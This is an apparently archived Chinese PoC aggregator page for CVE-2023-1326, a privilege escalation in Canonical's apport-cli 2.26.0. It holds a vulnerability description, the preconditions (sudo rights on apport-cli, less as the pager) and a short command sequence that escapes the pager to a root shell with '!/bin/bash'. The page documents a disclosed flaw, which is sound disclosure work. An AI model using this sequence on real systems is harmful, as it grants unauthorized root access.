POC详情: f3d5f8b9bfd78971e3ad5fb79c00bca4fca09c0d

来源
关联漏洞
标题: Apport 安全漏洞 (CVE-2023-1326)
描述:Canonical Apport是英国科能软件(Canonical)公司的一款用于收集并反馈错误信息(当应用程序崩溃时操作系统认为有用的信息)的工具包。 Apport 2.26.0及之前版本存在安全漏洞,该漏洞源于存在特权升级漏洞,攻击者利用该漏洞可以提升权限。
描述
A proof of concept for CVE-2023–1326 in apport-cli 2.26.0
介绍
# CVE-2023-1326-PoC
A proof of concept for CVE-2023–1326 in apport-cli 2.26.0

This vulnerability is privilege escalation in apport-cli 2.26.0, similar to CVE-2023–26604, this vulnerability only works if assign in sudoers:

![image](https://github.com/diego-tella/CVE-2023-1326-PoC/assets/70545257/983d4307-e3af-46db-8d76-5e3970f10225)

A privilege escalation attack was found in apport-cli 2.26.0 and earlier which is similar to CVE-2023-26604. If a system is specially configured to allow unprivileged users to run sudo apport-cli, less is configured as the pager, and the terminal size can be set: a local attacker can escalate privilege.

# PoC
```
sudo /usr/bin/apport-cli -c /var/crash/some_crash_file.crash
press V (view report)
!/bin/bash
```
![image](https://github.com/diego-tella/CVE-2023-1326-PoC/assets/70545257/aa702438-28fe-434c-9ea5-6ed760f956bb)
![image](https://github.com/diego-tella/CVE-2023-1326-PoC/assets/70545257/fa2d0491-35be-465f-8e7b-35024faf8dcf)
文件快照

[4.0K] /data/pocs/f3d5f8b9bfd78971e3ad5fb79c00bca4fca09c0d └── [ 979] README.md 0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。